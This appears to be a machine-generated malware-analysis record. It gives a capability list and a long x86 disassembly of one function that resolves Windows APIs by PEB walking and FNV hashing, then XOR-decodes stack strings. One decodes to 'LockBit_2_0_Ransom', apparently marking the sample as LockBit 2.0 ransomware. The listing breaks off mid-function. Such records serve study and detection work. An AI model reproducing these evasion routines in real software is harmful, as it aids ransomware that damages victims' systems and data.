Function at 0x4c5830
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x144
push ebx
mov ebx, dword [0x4f3810]
push esi
push edi
test ebx, ebx
jne 0x4c58dc
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x18], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c58c2
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c5886
cmp eax, 0xa3e6f6c3
je 0x4c6798
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c58d4
cmp dword [ecx + 0x18], 0
jne 0x4c5867
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4fbf34]
test eax, eax
jne 0x4c597a
test ebx, ebx
je 0x4c5973
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c5973
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c5973
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c595e
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c5927
cmp edi, 0xab288e66
je 0x4c67a4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c5917
xor eax, eax
mov dword [0x4fbf34], eax
push 0
call eax
mov ebx, dword [0x4f37a8]
lea edi, [esp + 0x120]
mov edx, eax
mov ecx, 0x30
xor al, al
mov dword [esp + 0x28], edx
rep stosb byte es:[edi], al
mov dword [esp + 0x120], 0x30
mov dword [esp + 0x124], 3
mov dword [esp + 0x128], 0x4c6b60
mov dword [esp + 0x134], edx
test ebx, ebx
jne 0x4c5a59
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c5a3f
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c5a03
cmp eax, 0xc0323159
je 0x4c67c4
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c5a51
cmp dword [ecx + 0x18], 0
jne 0x4c59e4
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4fbf8c]
test eax, eax
jne 0x4c5af7
test ebx, ebx
je 0x4c5af0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c5af0
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c5af0
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c5adb
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c5aa4
cmp edi, 0xd308365c
je 0x4c67d0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c5a94
xor eax, eax
mov dword [0x4fbf8c], eax
push 0x7f00
push 0
call eax
mov ebx, dword [0x4fbf30]
mov dword [esp + 0x13c], eax
test ebx, ebx
jne 0x4c5ba6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c5b8c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c5b50
cmp eax, 0x8b4d9112
je 0x4c67f0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c5b9e
cmp dword [ecx + 0x18], 0
jne 0x4c5b30
xor ebx, ebx
mov dword [0x4fbf30], ebx
mov eax, dword [0x4fbf94]
test eax, eax
jne 0x4c5c44
test ebx, ebx
je 0x4c5c3d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c5c3d
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c5c3d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c5c28
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c5bf1
cmp edi, 0x3c11bb1c
je 0x4c67fc
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c5be1
xor eax, eax
mov dword [0x4fbf94], eax
push 0xfcf8f7
call eax
mov dword [esp + 0x140], eax
mov edx, 5
mov dword [esp + 0x80], 0x6a
mov eax, 0x26
mov word [esp + 0x84], ax
mov ecx, 0x35
mov word [esp + 0x86], dx
mov eax, 9
mov word [esp + 0x88], ax
mov esi, 4
mov eax, 1
mov word [esp + 0x8a], ax
mov eax, 0x28
mov word [esp + 0x8c], ax
mov eax, 3
mov word [esp + 0x8e], ax
mov eax, 0x1e
mov word [esp + 0x90], ax
mov eax, 0x58
mov word [esp + 0x92], cx
mov word [esp + 0x94], ax
mov eax, 0x5a
mov word [esp + 0x96], cx
mov word [esp + 0x98], ax
mov eax, 0x38
mov word [esp + 0x9a], cx
mov word [esp + 0x9c], ax
mov eax, 0xb
mov word [esp + 0x9e], ax
mov eax, 0x19
mov word [esp + 0xa0], si
mov word [esp + 0xa2], ax
mov eax, 7
mov word [esp + 0xa4], dx
mov word [esp + 0xa6], ax
mov eax, 0x6a
mov word [esp + 0xa8], ax
movzx eax, word [0x404a26]
xor eax, 0x6a
mov word [esp + 0xaa], ax
movzx eax, word [0x404a28]
xor eax, 0x6a
mov word [esp + 0xac], ax
movzx eax, word [0x404a2a]
xor eax, 0x6a
mov word [esp + 0xae], ax
movzx eax, word [0x404a2c]
xor eax, 0x6a
mov word [esp + 0xb0], ax
movzx eax, word [0x404a2e]
xor eax, 0x6a
mov word [esp + 0xb2], ax
movzx eax, word [0x404a30]
xor eax, 0x6a
mov word [esp + 0xb4], ax
movzx eax, word [0x404a32]
xor eax, 0x6a
mov word [esp + 0xb6], ax
movzx eax, word [0x404a34]
xor eax, 0x6a
mov word [esp + 0xb8], ax
movzx eax, word [0x404a36]
xor eax, 0x6a
mov word [esp + 0xba], ax
movzx eax, word [0x404a38]
xor eax, 0x6a
mov word [esp + 0xbc], ax
movzx eax, word [0x404a3a]
xor eax, 0x6a
mov word [esp + 0xbe], ax
movzx eax, word [0x404a3c]
xor eax, 0x6a
mov word [esp + 0xc0], ax
movzx eax, word [0x404a3e]
xor eax, 0x6a
mov word [esp + 0xc2], ax
movzx eax, word [0x404a40]
xor eax, 0x6a
mov word [esp + 0xc4], ax
movzx eax, word [0x404a42]
xor eax, 0x6a
mov word [esp + 0xc6], ax
movzx eax, word [0x404a44]
xor eax, 0x6a
mov word [esp + 0xc8], ax
movzx eax, word [0x404a46]
xor eax, 0x6a
mov word [esp + 0xca], ax
movzx eax, word [0x404a48]
xor eax, 0x6a
mov word [esp + 0xcc], ax
xor eax, eax
mov word [esp + 0xce], ax
xor edx, edx
mov ax, word [esp + 0x84]
nop dword [eax]
mov ax, word [esp + edx*2 + 0x84]
movzx ecx, ax
movzx eax, word [esp + 0x80]
xor ecx, eax
mov word [esp + edx*2 + 0x84], cx
inc edx
cmp edx, 0x25
jb 0x4c5ea0
mov ecx, dword [0x4fba4c]
xor eax, eax
mov word [esp + 0xce], ax
mov edx, esi
lea eax, [esp + 0x84]
mov dword [esp + 0x24], 0
mov dword [esp + 0x148], eax
call fcn.004e26c0
test eax, eax
je 0x4c5f17
lea ecx, [esp + 0x24]
push ecx
mov ecx, eax
call fcn.0042baf0
mov eax, dword [esp + 0x24]
test eax, eax
mov ecx, dword [esp + 0x138]
cmovne ecx, eax
mov dword [esp + 0x138], ecx
mov ecx, dword [0x4fba44]
mov edx, esi
call fcn.004e26c0
test eax, eax
je 0x4c5f4b
lea ecx, [esp + 0x24]
push ecx
mov ecx, eax
call fcn.0042baf0
mov eax, dword [esp + 0x24]
test eax, eax
mov ecx, dword [esp + 0x14c]
cmovne ecx, eax
mov dword [esp + 0x14c], ecx
mov ebx, dword [0x4f37a8]
test ebx, ebx
jne 0x4c5fe8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c5fce
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c5f92
cmp eax, 0xc0323159
je 0x4c681c
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c5fe0
cmp dword [ecx + 0x18], 0
jne 0x4c5f73
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4fbf50]
test eax, eax
jne 0x4c6086
test ebx, ebx
je 0x4c607f
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c607f
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c607f
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c606a
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c6033
cmp edi, 0x7c72f9ee
je 0x4c6828
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c6023
xor eax, eax
mov dword [0x4fbf50], eax
lea ecx, [esp + 0x120]
push ecx
call eax
mov dword [esp + 0xd0], 0x1a
mov eax, 0x56
mov word [esp + 0xd4], ax
mov edx, 0x75
mov word [esp + 0xd6], dx
mov eax, 0x79
mov word [esp + 0xd8], ax
mov ecx, 0x3a
mov eax, 0x71
mov word [esp + 0xda], ax
mov eax, 0x58
mov word [esp + 0xdc], ax
mov eax, 0x73
mov word [esp + 0xde], ax
mov eax, 0x6e
mov word [esp + 0xe0], ax
mov eax, 0x28
mov word [esp + 0xe2], cx
mov word [esp + 0xe4], ax
mov eax, 0x34
mov word [esp + 0xe6], ax
mov eax, 0x2a
mov word [esp + 0xe8], ax
mov eax, 0x48
mov word [esp + 0xea], cx
mov word [esp + 0xec], ax
mov eax, 0x7b
mov word [esp + 0xee], ax
mov eax, 0x74
mov word [esp + 0xf0], ax
mov eax, 0x69
mov word [esp + 0xf2], ax
mov eax, 0x77
mov word [esp + 0xf4], dx
mov word [esp + 0xf6], ax
mov eax, 0x1a
mov word [esp + 0xf8], ax
movzx eax, word [0x404a4e]
xor eax, 0x1a
mov word [esp + 0xfa], ax
movzx eax, word [0x404a50]
xor eax, 0x1a
mov word [esp + 0xfc], ax
movzx eax, word [0x404a52]
xor eax, 0x1a
mov word [esp + 0xfe], ax
movzx eax, word [0x404a54]
xor eax, 0x1a
mov word [esp + 0x100], ax
movzx eax, word [0x404a56]
xor eax, 0x1a
mov word [esp + 0x102], ax
movzx eax, word [0x404a58]
xor eax, 0x1a
mov word [esp + 0x104], ax
movzx eax, word [0x404a5a]
xor eax, 0x1a
mov word [esp + 0x106], ax
movzx eax, word [0x404a5c]
xor eax, 0x1a
mov word [esp + 0x108], ax
movzx eax, word [0x404a5e]
xor eax, 0x1a
mov word [esp + 0x10a], ax
movzx eax, word [0x404a60]
xor eax, 0x1a
mov word [esp + 0x10c], ax
movzx eax, word [0x404a62]
xor eax, 0x1a
mov word [esp + 0x10e], ax
movzx eax, word [0x404a64]
xor eax, 0x1a
mov word [esp + 0x110], ax
movzx eax, word [0x404a66]
xor eax, 0x1a
mov word [esp + 0x112], ax
movzx eax, word [0x404a68]
xor eax, 0x1a
mov word [esp + 0x114], ax
movzx eax, word [0x404a6a]
xor eax, 0x1a
mov word [esp + 0x116], ax
movzx eax, word [0x404a6c]
xor eax, 0x1a
mov word [esp + 0x118], ax
movzx eax, word [0x404a6e]
xor eax, 0x1a
mov word [esp + 0x11a], ax
movzx eax, word [0x404a70]
xor eax, 0x1a
mov word [esp + 0x11c], ax
xor eax, eax
mov word [esp + 0x11e], ax
xor edx, edx
mov ax, word [esp + 0xd4]
mov ax, word [esp + edx*2 + 0xd4]
movzx ecx, ax
movzx eax, word [esp + 0xd0]
xor ecx, eax
mov word [esp + edx*2 + 0xd4], cx
inc edx
cmp edx, 0x25
jb 0x4c62e0
xor eax, eax
mov word [esp + 0x11e], ax
mov dword [esp + 0x30], 0x14
mov eax, dword [esp + 0x30]
xor eax, 0x4c
mov word [esp + 0x34], ax
mov eax, dword [esp + 0x30]
inc eax
xor eax, 0x6f
mov word [esp + 0x36], ax
mov eax, dword [esp + 0x30]
add eax, 2
xor eax, 0x63
mov word [esp + 0x38], ax
mov eax, dword [esp + 0x30]
add eax, 3
xor eax, 0x6b
mov word [esp + 0x3a], ax
mov eax, dword [esp + 0x30]
add eax, 4
xor eax, 0x42
mov word [esp + 0x3c], ax
mov eax, dword [esp + 0x30]
add eax, 5
xor eax, 0x69
mov word [esp + 0x3e], ax
mov eax, dword [esp + 0x30]
add eax, 6
xor eax, 0x74
mov word [esp + 0x40], ax
mov eax, dword [esp + 0x30]
add eax, 7
xor eax, 0x5f
mov word [esp + 0x42], ax
mov eax, dword [esp + 0x30]
add eax, 8
xor eax, 0x32
mov word [esp + 0x44], ax
mov eax, dword [esp + 0x30]
add eax, 9
xor eax, 0x5f
mov word [esp + 0x46], ax
mov eax, dword [esp + 0x30]
add eax, 0xa
xor eax, 0x30
mov word [esp + 0x48], ax
mov eax, dword [esp + 0x30]
add eax, 0xb
xor eax, 0x5f
mov word [esp + 0x4a], ax
mov eax, dword [esp + 0x30]
add eax, 0xc
xor eax, 0x52
mov word [esp + 0x4c], ax
mov eax, dword [esp + 0x30]
add eax, 0xd
xor eax, 0x61
mov word [esp + 0x4e], ax
mov eax, dword [esp + 0x30]
add eax, 0xe
xor eax, 0x6e
mov word [esp + 0x50], ax
mov eax, dword [esp + 0x30]
add eax, 0xf
xor eax, 0x73
mov word [esp + 0x52], ax
mov eax, dword [esp + 0x30]
add eax, 0x10
xor eax, 0x6f
mov word [esp + 0x54], ax
mov eax, dword [esp + 0x30]
add eax, 0x11
xor eax, 0x6d
mov word [esp + 0x56], ax
mov eax, dword [esp + 0x30]
add eax, 0x12
mov word [esp + 0x58], ax
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a26]
add eax, 0x13
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5a], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a28]
add eax, 0x14
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5c], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a2a]
add eax, 0x15
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5e], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a2c]
add eax, 0x16
movzx eax, ax
xor ecx, eax
mov word [esp + 0x60], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a2e]
add eax, 0x17
movzx eax, ax
xor ecx, eax
mov word [esp + 0x62], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a30]
add eax, 0x18
movzx eax, ax
xor ecx, eax
mov word [esp + 0x64], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a32]
add eax, 0x19
movzx eax, ax
xor ecx, eax
mov word [esp + 0x66], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a34]
add eax, 0x1a
movzx eax, ax
xor ecx, eax
mov word [esp + 0x68], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a36]
add eax, 0x1b
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6a], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a38]
add eax, 0x1c
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6c], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a3a]
add eax, 0x1d
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6e], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a3c]
add eax, 0x1e
movzx eax, ax
xor ecx, eax
mov word [esp + 0x70], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a3e]
add eax, 0x1f
movzx eax, ax
xor ecx, eax
mov word [esp + 0x72], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a40]
add eax, 0x20
movzx eax, ax
xor ecx, eax
mov word [esp + 0x74], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a42]
add eax, 0x21
movzx eax, ax
xor ecx, eax
mov word [esp + 0x76], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a44]
add eax, 0x22
movzx eax, ax
xor ecx, eax
mov word [esp + 0x78], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a46]
add eax, 0x23
movzx eax, ax
xor ecx, eax
mov word [esp + 0x7a], cx
mov eax, dword [esp + 0x30]
movzx ecx, word [0x404a48]
add eax, 0x24
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [esp + 0x7c], cx
xor edx, edx
mov word [esp + 0x7e], ax
mov ax, word [esp + 0x34]
nop dword [eax + eax]
mov ax, word [esp + edx*2 + 0x34]
mov ecx, dword [esp + 0x30]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [esp + edx*2 + 0x34], cx
inc edx
cmp edx, 0x25
jb 0x4c65f0
mov ebx, dword [0x4f37a8]
xor eax, eax
mov word [esp + 0x7e], ax
test ebx, ebx
jne 0x4c66b6
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop word [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c669c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c6660
cmp eax, 0xc0323159
je 0x4c6848
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c66ae
cmp dword [ecx + 0x18], 0
jne 0x4c6640
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4fbf98]
test eax, eax
jne 0x4c6754
test ebx, ebx
je 0x4c674d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ebx + ecx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c674d
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c674d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c6738
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c6701
mov ecx, dword [esp + 0x10]
cmp edi, 0x2b63548d
je 0x4c6854
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c66f1
xor eax, eax
mov dword [0x4fbf98], eax
push 0
push dword [esp + 0x2c]
lea ecx, [esp + 0xdc]
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push ecx
lea ecx, [esp + 0x5c]
push ecx
push 1
call eax
mov dword [0x4fbb04], eax
test eax, eax
jne 0x4c6872
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c58d6
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c5975
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c5a53
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c5af2
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c5ba0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c5c3f
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c5fe2
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c6081
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c66b0
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c674f
mov ebx, dword [0x4f37a8]
test ebx, ebx
jne 0x4c6916
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
nop word [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c68fc
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c68c0
cmp eax, 0xc0323159
je 0x4c6b0f
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c690e
cmp dword [ecx + 0x18], 0
jne 0x4c68a0
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4fbf2c]
test eax, eax
jne 0x4c69b4
test ebx, ebx
je 0x4c69ad
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x4c69ad
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c69ad
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c6998
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c6961
mov ecx, dword [esp + 0x10]
cmp edi, 0x860861c0
je 0x4c6b1b
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c6951
xor eax, eax
mov dword [0x4fbf2c], eax
push 0
push dword [0x4fbb04]
call eax
mov ebx, dword [0x4f37a8]
test ebx, ebx
jne 0x4c6a5b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c6a41
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
